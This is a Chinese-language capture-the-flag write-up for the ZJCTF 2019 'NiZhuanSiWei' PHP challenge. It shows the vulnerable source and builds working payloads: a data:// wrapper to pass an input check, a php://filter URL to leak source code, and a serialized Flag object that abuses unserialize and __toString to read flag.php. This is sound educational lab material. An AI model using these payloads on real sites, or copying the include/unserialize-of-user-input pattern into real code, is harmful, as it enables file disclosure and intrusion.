[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

题目

php代码审计题

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
      // file_get_contents将整个文件读入一个字符串,文件里的内容是"welcome to the zjctf"
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
//不直接读取flag,就可以触发一个文件包含,提示useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

对text的验证

data://

用法:data://text/plain;base64,数据(base64加密后)
范例(https://www.php.net/manual/zh/wrappers.data.php)

<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

显然,这可以附在GET请求里发送,用这个来满足第一个if

读取useless.php

我们知道,直接打开一个php文件只会返回执行后的结果,并不能看到代码,所以要用
php://filter/read=convert.base64-encode/resource=文件名
把php编码成base64并输出

反序列化password

把上面的拼合起来:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

解码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

可以利用里面的file_get_contents直接打印出flag
构造满足条件的序列化字符串

<?php  

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$a = new Flag();
var_dump (serialize($a));
?>  
string(41) "O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}"

直接在useless.php上修改,把flag.php赋值给file,然后序列化出来

构造最后的payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在注释里面发现flag

posted @ 2020-07-16 15:59  云千  阅读(379)  评论(0编辑  收藏  举报